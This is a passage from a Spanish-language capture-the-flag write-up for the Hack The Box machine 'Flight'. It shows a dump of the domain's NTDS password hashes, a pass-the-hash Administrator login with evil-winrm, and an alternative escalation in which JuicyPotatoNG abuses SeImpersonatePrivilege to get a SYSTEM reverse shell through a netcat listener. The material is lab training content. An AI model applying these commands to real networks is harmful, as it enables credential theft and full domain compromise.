SMB         g0.flight.htb   445    G0               [+] flight.htb\ from ccache 
SMB         g0.flight.htb   445    G0               [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
SMB         g0.flight.htb   445    G0               [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         g0.flight.htb   445    G0               Administrator:500:aad3b435b51404eeaad3b435b51404ee:43bbfc530bab76141b12c8446e30c17c:::
SMB         g0.flight.htb   445    G0               Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         g0.flight.htb   445    G0               krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6a2b6ce4d7121e112aeacbc6bd499a7f:::
SMB         g0.flight.htb   445    G0               S.Moon:1602:aad3b435b51404eeaad3b435b51404ee:f36b6972be65bc4eaa6983b5e9f1728f:::
SMB         g0.flight.htb   445    G0               R.Cold:1603:aad3b435b51404eeaad3b435b51404ee:5607f6eafc91b3506c622f70e7a77ce0:::
SMB         g0.flight.htb   445    G0               G.Lors:1604:aad3b435b51404eeaad3b435b51404ee:affa4975fc1019229a90067f1ff4af8d:::
SMB         g0.flight.htb   445    G0               L.Kein:1605:aad3b435b51404eeaad3b435b51404ee:4345fc90cb60ef29363a5f38e24413d5:::
SMB         g0.flight.htb   445    G0               M.Gold:1606:aad3b435b51404eeaad3b435b51404ee:78566aef5cd5d63acafdf7fed7a931ff:::
SMB         g0.flight.htb   445    G0               C.Bum:1607:aad3b435b51404eeaad3b435b51404ee:bc0359f62da42f8023fdde0949f4a359:::
SMB         g0.flight.htb   445    G0               W.Walker:1608:aad3b435b51404eeaad3b435b51404ee:ec52dceaec5a847af98c1f9de3e9b716:::
SMB         g0.flight.htb   445    G0               I.Francis:1609:aad3b435b51404eeaad3b435b51404ee:4344da689ee61b6fbbcdfa9303d324bc:::
SMB         g0.flight.htb   445    G0               D.Truff:1610:aad3b435b51404eeaad3b435b51404ee:b89f7c98ece6ca250a59a9f4c1533d44:::
SMB         g0.flight.htb   445    G0               V.Stevens:1611:aad3b435b51404eeaad3b435b51404ee:2a4836e3331ed290bd1c2fd2b50beb41:::
SMB         g0.flight.htb   445    G0               svc_apache:1612:aad3b435b51404eeaad3b435b51404ee:f36b6972be65bc4eaa6983b5e9f1728f:::
SMB         g0.flight.htb   445    G0               O.Possum:1613:aad3b435b51404eeaad3b435b51404ee:68ec50916875888f44caff424cd3f8ac:::
SMB         g0.flight.htb   445    G0               G0$:1001:aad3b435b51404eeaad3b435b51404ee:140547f31f4dbb4599dc90ea84c27e6b::

Podemos usar el hash NT de Administrator para conectarnos a winrm y leer la flag

❯ evil-winrm -i flight.htb -u Administrator -H 43bbfc530bab76141b12c8446e30c17c  
PS C:\Users\Administrator\Documents> whoami
flight\administrator
PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
ffe**************************3cd
PS C:\Users\Administrator\Documents>


Extra - Administrator


Hay otra via para escalar privilegios probablemente no intencionada que es mediante el privilegio SeImpersonatePrivilege que tiene defaultapppool

PS C:\inetpub\development> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================= ========  
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeMachineAccountPrivilege     Add workstations to domain                Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

PS C:\inetpub\development>

Podemos simplemente usar JuicyPotatoNG para ejecutar el shell.exe, al hacerlo recibimos la shell como nt authority\system que tiene maximos privilegios

PS C:\ProgramData> .\JuicyPotatoNG.exe -t * -p shell.exe

         JuicyPotatoNG
         by decoder_it & splinter_code

[*] Testing CLSID {854A20FB-2D44-457D-992F-EF13785D2B51} - COM server port 10247
[+] authresult success {854A20FB-2D44-457D-992F-EF13785D2B51};NT AUTHORITY\SYSTEM;Impersonation  
[+] CreateProcessAsUser OK
[+] Exploit successful!

PS C:\ProgramData>

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.187
Windows PowerShell running as user G0$ on G0
Copyright (C) Microsoft Corporation. All rights reserved.  

PS C:\> whoami
nt authority\system
PS C:\> type C:\Users\Administrator\Desktop\root.txt
ffe**************************3cd
PS C:\>